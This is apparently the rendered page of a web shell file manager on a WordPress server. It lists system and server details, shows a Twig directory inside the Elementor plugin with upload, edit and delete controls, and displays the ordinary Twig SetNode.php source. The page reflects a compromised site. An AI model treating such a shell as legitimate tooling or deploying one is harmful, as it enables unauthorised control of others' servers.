[ SYSTEM ]: Linux wordpress 6.1.0-44-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
elementor
/
vendor_prefixed
/
twig
/
twig
/
twig
/
src
/
Node
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 Expression
SET
[ DEL ]
📄 AutoEscapeNode.php
940 B
SET
[ EDIT ]
|
[ DEL ]
📄 BlockNode.php
1,041 B
SET
[ EDIT ]
|
[ DEL ]
📄 BlockReferenceNode.php
902 B
SET
[ EDIT ]
|
[ DEL ]
📄 BodyNode.php
415 B
SET
[ EDIT ]
|
[ DEL ]
📄 CaptureNode.php
1,502 B
SET
[ EDIT ]
|
[ DEL ]
📄 CheckSecurityCallNode.php
622 B
SET
[ EDIT ]
|
[ DEL ]
📄 CheckSecurityNode.php
2,581 B
SET
[ EDIT ]
|
[ DEL ]
📄 CheckToStringNode.php
1,277 B
SET
[ EDIT ]
|
[ DEL ]
📄 DeprecatedNode.php
1,847 B
SET
[ EDIT ]
|
[ DEL ]
📄 DoNode.php
840 B
SET
[ EDIT ]
|
[ DEL ]
📄 EmbedNode.php
1,397 B
SET
[ EDIT ]
|
[ DEL ]
📄 FlushNode.php
700 B
SET
[ EDIT ]
|
[ DEL ]
📄 ForLoopNode.php
1,310 B
SET
[ EDIT ]
|
[ DEL ]
📄 ForNode.php
3,431 B
SET
[ EDIT ]
|
[ DEL ]
📄 IfNode.php
1,648 B
SET
[ EDIT ]
|
[ DEL ]
📄 ImportNode.php
1,587 B
SET
[ EDIT ]
|
[ DEL ]
📄 IncludeNode.php
2,821 B
SET
[ EDIT ]
|
[ DEL ]
📄 MacroNode.php
2,438 B
SET
[ EDIT ]
|
[ DEL ]
📄 ModuleNode.php
12,753 B
SET
[ EDIT ]
|
[ DEL ]
📄 NameDeprecation.php
928 B
SET
[ EDIT ]
|
[ DEL ]
📄 Node.php
7,959 B
SET
[ EDIT ]
|
[ DEL ]
📄 NodeCaptureInterface.php
397 B
SET
[ EDIT ]
|
[ DEL ]
📄 NodeOutputInterface.php
376 B
SET
[ EDIT ]
|
[ DEL ]
📄 PrintNode.php
1,027 B
SET
[ EDIT ]
|
[ DEL ]
📄 SandboxNode.php
1,126 B
SET
[ EDIT ]
|
[ DEL ]
📄 SetNode.php
2,872 B
SET
[ EDIT ]
|
[ DEL ]
📄 TextNode.php
825 B
SET
[ EDIT ]
|
[ DEL ]
📄 WithNode.php
1,956 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: SetNode.php
<?php /* * This file is part of Twig. * * (c) Fabien Potencier * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace ElementorDeps\Twig\Node; use ElementorDeps\Twig\Attribute\YieldReady; use ElementorDeps\Twig\Compiler; use ElementorDeps\Twig\Node\Expression\ConstantExpression; /** * Represents a set node. * * @author Fabien Potencier <fabien@symfony.com> */ #[YieldReady] class SetNode extends Node implements NodeCaptureInterface { public function __construct(bool $capture, Node $names, Node $values, int $lineno, ?string $tag = null) { /* * Optimizes the node when capture is used for a large block of text. * * {% set foo %}foo{% endset %} is compiled to $context['foo'] = new Twig\Markup("foo"); */ $safe = \false; if ($capture) { $safe = \true; if ($values instanceof TextNode) { $values = new ConstantExpression($values->getAttribute('data'), $values->getTemplateLine()); $capture = \false; } else { $values = new CaptureNode($values, $values->getTemplateLine()); } } parent::__construct(['names' => $names, 'values' => $values], ['capture' => $capture, 'safe' => $safe], $lineno, $tag); } public function compile(Compiler $compiler) : void { $compiler->addDebugInfo($this); if (\count($this->getNode('names')) > 1) { $compiler->write('['); foreach ($this->getNode('names') as $idx => $node) { if ($idx) { $compiler->raw(', '); } $compiler->subcompile($node); } $compiler->raw(']'); } else { $compiler->subcompile($this->getNode('names'), \false); } $compiler->raw(' = '); if ($this->getAttribute('capture')) { $compiler->subcompile($this->getNode('values')); } else { if (\count($this->getNode('names')) > 1) { $compiler->write('['); foreach ($this->getNode('values') as $idx => $value) { if ($idx) { $compiler->raw(', '); } $compiler->subcompile($value); } $compiler->raw(']'); } else { if ($this->getAttribute('safe')) { $compiler->raw("('' === \$tmp = ")->subcompile($this->getNode('values'))->raw(") ? '' : new Markup(\$tmp, \$this->env->getCharset())"); } else { $compiler->subcompile($this->getNode('values')); } } $compiler->raw(';'); } $compiler->raw("\n"); } }